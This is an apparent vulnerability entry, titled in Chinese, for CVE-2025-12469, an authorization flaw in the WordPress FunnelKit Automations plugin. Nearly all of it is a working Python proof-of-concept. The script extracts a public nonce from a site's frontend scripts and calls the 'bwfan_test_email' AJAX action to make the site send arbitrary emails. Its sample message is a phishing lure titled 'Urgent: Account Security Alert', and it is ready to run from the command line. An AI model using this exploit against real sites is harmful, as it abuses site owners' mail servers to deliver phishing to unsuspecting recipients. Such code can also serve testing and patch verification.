CVE-2025-12469 WordPress FunnelKit Automations插件缺少授权验证漏洞

import requests import re from urllib.parse import urljoin # CVE-2025-12469 PoC - FunnelKit Automations Authorization Bypass # Target: WordPress site with FunnelKit Automations plugin <= 3.6.4.1 def get_nonce(target_url): """Extract public nonce from frontend JavaScript localization""" response = requests.get(target_url, timeout=30) # Search for nonce in wp_localize_script data patterns = [ r'bwfan_test_email.*?"([a-f0-9]{10})",\s*"bwfan_test_email"', r'"bwfan_nonce"\s*:\s*"([a-f0-9]+)"', r'ajaxurl.*?nonce.*?([a-f0-9]{10,})' ] for pattern in patterns: match = re.search(pattern, response.text) if match: return match.group(1) return None def exploit(target_url, attacker_email): """Send arbitrary emails via vulnerable endpoint""" nonce = get_nonce(target_url) if not nonce: print('[-] Failed to obtain nonce') return False print(f'[+] Nonce obtained: {nonce}') # Vulnerable AJAX endpoint ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Malicious email payload data = { 'action': 'bwfan_test_email', '_bwfan_nonce': nonce, 'email_to': attacker_email, 'email_subject': 'Urgent: Account Security Alert', 'email_body': 'Phishing content...', 'email_heading': 'Security Team' } response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200 and 'success' in response.text.lower(): print('[+] Email sent successfully!') return True else: print('[-] Exploitation failed') return False if __name__ == '__main__': import sys if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <attacker_email>') sys.exit(1) exploit(sys.argv[1], sys.argv[2])